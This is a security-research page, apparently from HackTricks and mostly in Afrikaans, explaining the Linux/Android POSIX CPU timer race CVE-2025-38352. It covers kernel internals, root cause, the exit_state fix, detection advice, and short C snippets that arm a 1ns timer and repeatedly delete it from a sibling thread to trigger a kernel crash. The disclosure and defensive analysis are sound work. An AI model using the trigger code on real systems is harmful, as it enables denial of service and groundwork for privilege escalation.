POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Hierdie bladsy dokumenteer ’n TOCTOU-race-toestand in Linux/Android POSIX CPU timers wat timerstatus kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gerig kan word.

  • Affected component: kernel/time/posix-cpu-timers.c
  • Primitive: expiry vs deletion race under task exit
  • Konfigurasie-gevoelig: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Kort interne oorsig (relevant vir eksploitatie)

  • Drie CPU-klokke bestuur rekeninghouding vir timers via cpu_clock_sample():
  • CPUCLOCK_PROF: utime + stime
  • CPUCLOCK_VIRT: utime only
  • CPUCLOCK_SCHED: task_sched_runtime()
  • Timer-skepping koppel ’n timer aan ’n task/pid en initialiseer die timerqueue nodes:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
  • Aktivering voeg ’n inskrywing by ’n per-base timerqueue en kan die next-expiry cache bywerk:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
  • Vinnige pad vermy duur verwerking tensy gecacheerde vervaldata moontlike afgaan aandui:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
  • Verstryking versamel timers wat verstryk het, merk hulle as afgegaan, verwyder hulle van die ry; werklike aflewering word uitgestel:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Twee vervalverwerkingsmodusse

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: verval word uitgestel via task_work op die teiken-taak
  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: verval word direk in IRQ-konteks hanteer
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk);                  // IRQ-context path
lockdep_posixtimer_exit();
}
#endif

In die IRQ-context path, word die firing list buite sighand verwerk.

static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags);              // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing;         // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}

Worteloorsaak: TOCTOU tussen IRQ-time verstryking en gelyktydige verwydering tydens task exit Preconditions

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ-pad in gebruik)
  • Die teiken taak is besig om te exit maar nog nie volledig gereap nie
  • ’n Ander draad roep gelyktydig posix_cpu_timer_del() vir dieselfde timer aan

Sequence

  1. update_process_times() trigger run_posix_cpu_timers() in IRQ-konteks vir die exiting taak.
  2. collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing-lys.
  3. handle_posix_cpu_timers() laat sighand los via unlock_task_sighand() om timers buite die slot af te lewer.
  4. Onmiddellik ná die unlock kan die exiting taak gereap word; ’n ander draad voer posix_cpu_timer_del() uit.
  5. In hierdie venster kan posix_cpu_timer_del() misluk om state te bekom via cpu_timer_task_rcu()/lock_task_sighand() en sodoende die normale in-flight guard wat timer->it.cpu.firing kontroleer, oorslaan. Verwydering gaan voort asof nie firing nie, wat state korrupteer terwyl verstryking hanteer word en lei tot crashes/UB.

Waarom TASK_WORK mode per ontwerp veilig is

  • Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking vertraag na task_work; exit_task_work loop voor exit_notify, dus die IRQ-time oorvleueling met reaping gebeur nie.
  • Selfs dan, as die taak reeds exiting is, misluk task_work_add(); gating op exit_state maak beide modusse konsekwent.

Fix (Android common kernel) en motivering

  • Voeg ’n vroeë return by as current taak besig is om te exit, en gateer alle verwerking:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
  • Dit verhoed dat handle_posix_cpu_timers() vir take wat besig is om te beëindig betree word, en skakel die venster uit waar posix_cpu_timer_del() dit.cpu.firing kon mis en met die verstrykingverwerking kon meeding.

Impak

  • Kernel-geheuekorrupsie van timerstrukture tydens gelyktydige verstryking/verwydering kan onmiddellike ineenstortings (DoS) veroorsaak en is ’n sterk primitief vir privilege escalation as gevolg van arbitrary kernel-state manipulation opportunities.

Die fout aktiveer (veilig, reproduseerbare toestande) Bou/konfigurasie

  • Maak seker dat CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n en gebruik ’n kernel sonder die exit_state gating fix.

Runtime-strategie

  • Mik op ’n thread wat op die punt is om te beëindig en heg ’n CPU timer daaraan (per-thread of process-wide clock):
  • Vir per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
  • Vir process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
  • Wapen met ’n baie kort aanvanklike verstryking en klein interval om IRQ-pad inskrywings te maksimeer:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
  • Vanaf ’n sibling thread, verwyder gelyktydig dieselfde timer terwyl die target thread beëindig:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}
  • Race amplifiers: hoë scheduler tick rate, CPU load, herhaalde thread exit/re-create-siklusse. Die crash manifesteer tipies wanneer posix_cpu_timer_del() nalaat om firing te bemerk as gevolg van mislukte task lookup/locking onmiddellik ná unlock_task_sighand().

Detection and hardening

  • Mitigering: pas die exit_state guard toe; verkies om CONFIG_POSIX_CPU_TIMERS_TASK_WORK aan te skakel waar toepaslik.
  • Observability: voeg tracepoints/WARN_ONCE by rondom unlock_task_sighand()/posix_cpu_timer_del(); waarsku wanneer it.cpu.firing==1 waargeneem word tesame met mislukte cpu_timer_task_rcu()/lock_task_sighand(); kyk uit vir timerqueue-inkonsekwenthede rondom task exit.

Audit hotspots (for reviewers)

  • update_process_times() → run_posix_cpu_timers() (IRQ)
  • __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
  • collect_timerqueue(): sets ctmr->firing and moves nodes
  • handle_posix_cpu_timers(): drops sighand before firing loop
  • posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap

Notes for exploitation research

  • The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.

See also

Ksmbd Streams Xattr Oob Write Cve 2025 37947

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks